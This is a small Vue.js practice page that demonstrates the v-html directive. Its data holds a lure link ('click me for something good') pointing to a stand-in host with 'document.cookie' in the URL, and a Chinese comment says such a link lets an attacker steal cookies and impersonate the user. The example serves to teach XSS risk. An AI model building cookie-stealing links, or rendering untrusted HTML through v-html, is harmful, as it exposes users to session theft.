<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h1 v-html="msg">haha</h1>
    </div>
    <script>
        Vue.config.productionTip = false;
        let vm = new Vue({
            el: '#root',
            data: {
                // 网页跳转到坏人的服务器，cookie就会被盗，从而可以冒充用户
                msg:'<a href="http://www.baidu.com?document.cookie">兄弟，点我有好看的东西！</a>',
                msg1:'sdfsdf'
            },
        });
    </script>
</body>
</html>